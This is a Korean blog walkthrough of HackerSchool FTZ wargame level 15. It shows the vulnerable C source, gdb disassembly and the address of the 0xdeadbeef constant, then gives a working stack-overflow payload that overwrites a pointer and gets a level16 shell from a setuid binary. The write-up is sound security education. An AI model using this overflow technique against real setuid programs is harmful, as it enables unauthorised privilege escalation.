e_yejun
Jun_ : Pwn
e_yejun
전체 방문자
오늘
어제
  • 분류 전체보기 (240)
    • Profile (1)
    • Pwnable (54)
    • Reversing (14)
    • Network (8)
    • Forensic (10)
    • Embedded (4)
    • Android (2)
    • Web (18)
    • 알고리즘 (42)
    • 프로그래밍 (24)
    • 프로젝트 (6)
    • 1-day (7)
    • CTF (15)
    • 기타 (33)
    • 일기장 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • dvwa
  • dreamhack.io
  • x64
  • BOF
  • 1-day
  • Heap
  • X86
  • wargame
  • how2heap
  • rev-basic

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
e_yejun

Jun_ : Pwn

Pwnable

[HackerSchool] FTZ Level15 풀이

2019. 12. 23. 17:21

 

 

 

ID : level15

PW : guess what

 

 

level15 접속~!

 

 

[level15@ftz level15]$ ls -al
total 96
drwxr-xr-x    4 root     level15      4096 Mar 19  2003 .
drwxr-xr-x   34 root     root         4096 Sep 10  2011 ..
-rwsr-x---    1 level16  level15     13801 Dec 10  2002 attackme
-rw-------    1 root     root            1 Jan 15  2010 .bash_history
-rw-r--r--    1 root     level15        24 Feb 24  2002 .bash_logout
-rw-r--r--    1 root     level15       224 Feb 24  2002 .bash_profile
-rw-r--r--    1 root     level15       151 Feb 24  2002 .bashrc
-rw-r--r--    1 root     level15       400 Jan 25  1999 .cshrc
-rw-r--r--    1 root     level15      4742 Jan 25  1999 .emacs
-r--r--r--    1 root     level15       319 Jan 25  1999 .gtkrc
-rw-r--r--    1 root     level15       100 Jan 25  1999 .gvimrc
-rw-r-----    1 root     level15       185 Dec 10  2002 hint
-rw-r--r--    1 root     level15       226 Jan 25  1999 .muttrc
-rw-r--r--    1 root     level15       367 Jan 25  1999 .profile
drwxr-xr-x    2 root     level15      4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level15      4096 Jul  4 02:14 tmp
-rw-r--r--    1 root     root            1 May  7  2002 .viminfo
-rw-r--r--    1 root     level15      4145 Jan 25  1999 .vimrc
-rw-r--r--    1 root     level15       245 Jan 25  1999 .Xdefaults

 

 

 

힌트를 읽어봅시다.

 

 

#include <stdio.h> 
 
main()
{ 

  int crap;
  int *check;
  char buf[20];
  fgets(buf,45,stdin);
  if (*check==0xdeadbeef)
   {
     setreuid(3096,3096);
     system("/bin/sh");
   }
}  

 

 

attackme 파일의 코드를 힌트로 줍니다.

 

스택을 생각해봅시다.

 

 

* 메모리 구조

<낮은주소>

buf

*check

crap

SFP(4)

RET(4)

<높은주소>

 

 

더 낮은주소인 buf에서 입력을 받아 포인터 check의 변수값을 바꿀 수 있습니다.

 

* 이전문제와 대부분이 동일하지만 if문으로 검사하는 check의 변수가 포인터 변수로 선언되어 있습니다.

 

포인터는 주소값을 담고있으므로 메모리 어딘가에 저장된 deadbeef의 주소값을 넣어주면 될 것 같습니다.

 

ex)

만약 deadbeef가 0xbfffffe4 에 저장되어 있다면, 포인터 변수 check에 0xbfffffe4를 저장합니다.

=> *check는 *(0xbfffffe4) 를 나타내고, 이 때 *는 주소의 대한 값을 나타냅니다.

=> 즉, 0xbfffffe4의 값을 나타내라는 뜻으로, 0xbfffffe4에 저장된 deadbeef를 가리키고 있는 것 입니다.

 

 

 

그럼 우리는 먼저 메모리 어딘가에 있는 deadbeef를 찾을겁니다.

소스코드 안의 if문에서 deadbeef와 비교하기 때문에... gdb로 찾아봅시다.

 

 

[level15@ftz level15]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>: push   ebp
0x08048491 <main+1>: mov    ebp,esp
0x08048493 <main+3>: sub    esp,0x38
0x08048496 <main+6>: sub    esp,0x4
0x08048499 <main+9>: push   ds:0x8049664
0x0804849f <main+15>: push   0x2d
0x080484a1 <main+17>: lea    eax,[ebp-56]
0x080484a4 <main+20>: push   eax
0x080484a5 <main+21>: call   0x8048360 <fgets> 
0x080484aa <main+26>: add    esp,0x10
0x080484ad <main+29>: mov    eax,DWORD PTR [ebp-16]
0x080484b0 <main+32>: cmp    DWORD PTR [eax],0xdeadbeef
0x080484b6 <main+38>: jne    0x80484dd <main+77>
0x080484b8 <main+40>: sub    esp,0x8
0x080484bb <main+43>: push   0xc18
0x080484c0 <main+48>: push   0xc18
0x080484c5 <main+53>: call   0x8048380 <setreuid> 
0x080484ca <main+58>: add    esp,0x10
0x080484cd <main+61>: sub    esp,0xc
0x080484d0 <main+64>: push   0x8048548
0x080484d5 <main+69>: call   0x8048340 <system> 
0x080484da <main+74>: add    esp,0x10
0x080484dd <main+77>: leave  
0x080484de <main+78>: ret    
0x080484df <main+79>: nop    
End of assembler dump.

 

 

 

0x080484b0 <main+32>: cmp    DWORD PTR [eax],0xdeadbeef

 

<main+32> 에서 비교를 수행합니다.

저 지점에 메모리를 열어봅시다.

 

 

(gdb) x/4wx 0x080484b0
0x80484b0 <main+32>: 0xbeef3881 0x2575dead 0x6808ec83 0x00000c18

 

 

deadbeef가 보이는데 반씩 찢어서 있네요..

자.. 인텔 형식이기 때문에 주소에 대한 값은 다음과 같습니다.

0x80484b0 -> 0xbeef3881

0x80484b1 -> 0xadbeef38

0x80484b2 -> 0xdeadbeef

 

 

확인해봅시다.

 

 

(gdb) x/wx 0x080484b1
0x80484b1 <main+33>: 0xadbeef38
(gdb) x/wx 0x080484b2
0x80484b2 <main+34>: 0xdeadbeef

 

 

deadbeef의 값을 찾았습니다.

그리고 값이 저장된 주소 -> 0x080484b2

 

=> buf에서 입력을 받아서 포인터 check변수에 0x080484b2를 넣어주게 되면 if문을 통과할 수 있습니다.

 

 

두 변수의 거리를 확인해줍니다.

 

0x080484a1 <main+17>: lea    eax,[ebp-56] 
0x080484a4 <main+20>: push   eax 
0x080484a5 <main+21>: call   0x8048360 <fgets> 

 

0x080484ad <main+29>: mov    eax,DWORD PTR [ebp-16] 
0x080484b0 <main+32>: cmp    DWORD PTR [eax],0xdeadbeef 

 

 

buf : ebp-56

*check : ebp-16

buf와 *check 사이의 거리 : 40byte

 

 

* 페이로드

A*40 + \xb2\x84\x04\x08

 

 

 

attackme 파일에 바로 입력을 해봅시다.

 

 

[level15@ftz level15]$ (python -c 'print "A"*40 + "\xb2\x84\x04\x08"';cat)|./attackme
id
uid=3096(level16) gid=3095(level15) groups=3095(level15)

my-pass

Level16 Password is

 

 

 

level15 클리어~!

 

 

    'Pwnable' 카테고리의 다른 글
    • 명령어 집합 구조 (Instruction Set Architecture, ISA)
    • [HackerSchool] FTZ Level16 풀이
    • [HackerSchool] FTZ Level14 풀이
    • [HackerSchool] FTZ Level13 풀이
    e_yejun
    e_yejun
    정리노트 •_•

    티스토리툴바